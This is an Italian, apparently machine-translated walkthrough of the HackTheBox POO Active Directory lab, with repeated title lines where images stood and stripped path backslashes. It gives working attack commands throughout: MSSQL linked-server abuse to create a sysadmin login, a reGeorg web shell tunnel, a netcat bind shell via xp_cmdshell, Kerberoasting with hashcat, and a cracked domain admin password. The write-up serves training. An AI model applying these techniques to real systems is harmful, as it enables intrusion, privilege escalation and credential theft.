HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

In questo articolo analizzeremo il passaggio non solo di una macchina, ma di un intero mini-laboratorio dal sito HackTheBox.

Come affermato nella descrizione, POO è progettato per testare le abilità in tutte le fasi degli attacchi in un piccolo ambiente Active Directory. L'obiettivo è compromettere un host disponibile, aumentare i privilegi e infine compromettere l'intero dominio raccogliendo 5 flag nel processo.

La connessione al laboratorio avviene tramite VPN. Si consiglia di non connettersi da un computer funzionante o da un host in cui sono presenti dati importanti per te, poiché entri in una rete privata con persone che sanno qualcosa sulla sicurezza delle informazioni 🙂

informazioni organizzative
In modo che tu possa scoprire nuovi articoli, software e altre informazioni, ho creato Canale Telegram и gruppo per discutere di eventuali problemi nell'area di IIKB. Anche le vostre richieste personali, domande, suggerimenti e raccomandazioni Guardo e rispondo a tutti..

Tutte le informazioni sono fornite solo a scopo didattico. L'autore di questo documento non si assume alcuna responsabilità per eventuali danni causati a chiunque a seguito dell'utilizzo delle conoscenze e dei metodi ottenuti a seguito dello studio di questo documento.

Intro

Questo finale è composto da due macchine e contiene 5 bandiere.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Viene inoltre fornita la descrizione e l'indirizzo dell'host disponibile.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Iniziamo!

Bandiera di ricognizione

Questa macchina ha un indirizzo IP di 10.13.38.11 che aggiungo a /etc/hosts.
10.13.38.11 poo.htb

Il primo passo è scansionare le porte aperte. Poiché ci vuole molto tempo per scansionare tutte le porte con nmap, lo farò prima con masscan. Scansioniamo tutte le porte TCP e UDP dall'interfaccia tun0 a 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ora, per ottenere informazioni più dettagliate sui servizi in esecuzione sulle porte, eseguiamo una scansione con l'opzione -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Pertanto, abbiamo i servizi IIS e MSSQL. In questo caso, scopriremo il vero nome DNS del dominio e del computer. Sul server Web, siamo accolti dalla home page di IIS.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Iteriamo sulle directory. Uso gobuster per questo. Nei parametri specifichiamo il numero di stream 128 (-t), URL (-u), dizionario (-w) ed estensioni che ci interessano (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Pertanto, abbiamo l'autenticazione HTTP per la directory /admin, nonché il file di archiviazione del servizio desktop .DS_Store disponibile. .DS_Store sono file che memorizzano le impostazioni utente per una cartella, come un elenco di file, la posizione dell'icona, l'immagine di sfondo selezionata. Tale file potrebbe finire nella directory del server web degli sviluppatori web. Pertanto, otteniamo informazioni sul contenuto della directory. Per questo puoi usare Crawler DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Otteniamo il contenuto della directory. La cosa più interessante qui è la directory /dev, da cui possiamo vedere i sorgenti e i file db in due rami. Ma possiamo usare i primi 6 caratteri dei nomi di file e directory se il servizio è vulnerabile a IIS ShortName. Puoi verificare questa vulnerabilità usando Scanner nome abbreviato IIS.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E troviamo un file di testo che inizia con "poo_co". Non sapendo cosa fare dopo, ho semplicemente selezionato dal dizionario delle directory tutte le parole che iniziano con "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E ripeti con wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E trova la parola giusta! Guardiamo questo file, salviamo le credenziali (a giudicare dal parametro DBNAME, provengono da MSSQL).

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Consegniamo la bandiera e avanziamo del 20%.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Eh bandiera

Ci colleghiamo a MSSQL, io uso DBeaver.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Non troviamo nulla di interessante in questo database, creiamo un editor SQL e controlliamo quali sono gli utenti.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Abbiamo due utenti. Controlliamo i nostri privilegi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Quindi, non ci sono privilegi. Vediamo i server collegati, ho scritto di questa tecnica in dettaglio qui.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Quindi troviamo un altro SQL Server. Controlliamo l'esecuzione dei comandi su questo server usando openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E possiamo anche costruire un albero delle query.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Il fatto è che quando facciamo una richiesta a un server collegato, la richiesta viene eseguita nel contesto di un altro utente! Vediamo quale contesto utente stiamo eseguendo sul server collegato.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E ora vediamo in che contesto viene eseguita la richiesta dal server linkato al nostro!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Pertanto, è un contesto DBO che deve disporre di tutti i privilegi. Controlliamo i privilegi in caso di richiesta da un server collegato.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Come puoi vedere, abbiamo tutti i privilegi! Creiamo il nostro amministratore in questo modo. Ma non li lasciano passare attraverso openquery, facciamolo attraverso EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

E ora ci connettiamo con le credenziali del nuovo utente, osserviamo il nuovo database dei flag.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Consegniamo questa bandiera e andiamo oltre.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Bandiera di marcia indietro

Prendiamo la shell usando MSSQL, sto usando mssqlclient dal pacchetto impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Dobbiamo ottenere le password e la prima cosa che abbiamo già incontrato è il sito. Pertanto, abbiamo bisogno di una configurazione del server Web (è impossibile lanciare una comoda shell, a quanto pare il firewall funziona).

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ma l'accesso è negato. Sebbene possiamo leggere il file da MSSQL, dobbiamo solo sapere quali linguaggi di programmazione sono configurati. E nella directory MSSQL scopriamo che c'è Python.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Quindi non ci sono problemi a leggere il file web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Con le credenziali trovate, vai su /admin e prendi il flag.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

bandiera d'appoggio

In effetti, ci sono alcuni inconvenienti nell'utilizzo di un firewall, ma guardando attraverso le impostazioni di rete, notiamo che viene utilizzato anche il protocollo IPv6!

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Aggiungi questo indirizzo a /etc/hosts.
dead:babe::1001 poo6.htb
Analizziamo di nuovo l'host, ma questa volta su IPv6.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E il servizio WinRM è disponibile su IPv6. Connettiamoci con le credenziali trovate.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

C'è una bandiera sul desktop, consegnala.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Bandiera P00ned

Dopo la ricognizione sull'ospite con winpeas non troviamo niente di speciale. Quindi si è deciso di cercare nuovamente le credenziali (ho scritto anche su questo argomento Articolo). Ma non sono riuscito a ottenere tutti gli SPN dal sistema tramite WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Eseguiamo il comando tramite MSSQL.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

In questo modo otteniamo l'SPN degli utenti p00_hr e p00_adm, il che significa che sono vulnerabili a un attacco come Kerberoasting. In breve, possiamo ottenere gli hash delle loro password.

Per prima cosa devi ottenere una shell stabile per conto dell'utente MSSQL. Ma poiché abbiamo un accesso limitato, abbiamo una connessione con l'host solo attraverso le porte 80 e 1433. Ma è possibile incanalare il traffico attraverso la porta 80! Per questo usiamo prossima applicazione. Carichiamo il file tunnel.aspx nella home directory del server web - C: inetpubwwwroot.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ma quando proviamo ad accedervi, otteniamo un errore 404. Ciò significa che i file *.aspx non vengono eseguiti. Per eseguire i file con queste estensioni, installare ASP.NET 4.5 come segue.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E ora, quando accediamo a tunnel.aspx, otteniamo la risposta che tutto è pronto per partire.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Avviamo la parte client dell'applicazione, che inoltrerà il traffico. Inoltreremo tutto il traffico dalla porta 5432 al server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E usiamo proxychains per inviare il traffico di qualsiasi applicazione tramite il nostro proxy. Aggiungiamo questo proxy al file di configurazione /etc/proxychains.conf.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ora carichiamo il programma sul server netcat, con cui realizzeremo una bind shell stabile, e lo script Richiama Kerberoast, con cui eseguiremo l'attacco Kerberoasting.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ora, tramite MSSQL, lanciamo il listener.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E ci colleghiamo tramite il nostro proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E prendiamo gli hash.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Successivamente, è necessario eseguire l'iterazione su questi hash. Poiché rockyou non disponeva di un dizionario dei dati delle password, ho utilizzato TUTTI i dizionari delle password forniti in Seclists. Per l'enumerazione usiamo hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E troviamo entrambe le password, la prima nel dizionario dutch_passwordlist.txt e la seconda in Keyboard-Combinations.txt.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E così abbiamo tre utenti, andiamo al controller di dominio. Scopriamo prima il suo indirizzo.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ottimo, abbiamo appreso l'indirizzo IP del controller di dominio. Scopriamo tutti gli utenti del dominio e chi di loro è amministratore. Per scaricare lo script per ottenere informazioni PowerView.ps1. Quindi ci connetteremo usando evil-winrm, specificando la directory con lo script nel parametro -s. E poi basta caricare lo script PowerView.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ora abbiamo accesso a tutte le sue funzioni. L'utente p00_adm sembra un utente privilegiato, quindi lavoreremo nel suo contesto. Creiamo un oggetto PSCredential per questo utente.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ora tutti i comandi Powershell in cui specifichiamo Creds verranno eseguiti per conto di p00_adm. Visualizziamo un elenco di utenti e l'attributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

E così, il nostro utente è davvero privilegiato. Vediamo a quali gruppi appartiene.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Confermiamo infine che l'utente è un amministratore di dominio. Ciò gli conferisce il diritto di accedere in remoto al controller di dominio. Proviamo ad accedere con WinRM utilizzando il nostro tunnel. Ero confuso dagli errori emessi da reGeorg durante l'utilizzo di evil-winrm.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Poi ne usiamo un altro, più facile, copione per connettersi a WinRM. Apri e modifica i parametri di connessione.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Proviamo a connetterci e siamo nel sistema.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

Ma non c'è bandiera. Quindi guarda l'utente e controlla i desktop.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

A mr3ks troviamo la bandiera e il laboratorio è completato al 100%.

HackTheBoxendgame. Passaggio del laboratorio Operazioni offensive professionali. Pentest Active Directory

È tutto. Come feedback, commenta se hai imparato qualcosa di nuovo da questo articolo e se ti è stato utile.

Puoi unirti a noi a Telegram. Lì puoi trovare materiali interessanti, corsi uniti e software. Riuniamo una comunità in cui ci saranno persone che comprendono molte aree dell'IT, quindi possiamo sempre aiutarci a vicenda su qualsiasi problema IT e di sicurezza delle informazioni.

Fonte: habr.com

Aggiungi un commento